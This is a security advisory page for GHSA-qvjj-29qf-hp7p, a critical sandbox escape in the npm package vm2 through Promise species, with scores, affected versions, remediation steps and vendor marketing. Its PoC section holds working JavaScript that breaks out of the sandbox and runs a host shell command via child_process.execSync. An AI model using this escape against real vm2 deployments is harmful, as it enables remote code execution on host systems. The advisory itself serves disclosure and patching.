GHSA-qvjj-29qf-hp7p — vm2
CRITICALGHSA-qvjj-29qf-hp7p is a critical-severity (CVSS 9.8) Code Injection vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
VM2 Has Sandbox Breakout Through Promise Species
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-qvjj-29qf-hp7p.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-qvjj-29qf-hp7p plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function resetPromiseSpecies https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39.
This function changes the species property of promise objects back to a known value. However, it uses the function [].includes and Object.defineProperty which can be overewritten to prevent the species from being changed.
PoC
The following code demonstrates this issue by aquiring the host process object and executing touch pwned.
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
Object.defineProperty=()=>{};
async function fn() {
const e = new Error();
e.name = Symbol();
return e.stack;
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
)
}
}
};
p.then();
`);
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.10.5npm install vm2@3.10.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.10.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qvjj-29qf-hp7p is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-qvjj-29qf-hp7p can be triaged on real exposure rather than presence alone.
Tailored to GHSA-qvjj-29qf-hp7p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qvjj-29qf-hp7p in your dependencies?
O3 Security finds GHSA-qvjj-29qf-hp7p across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.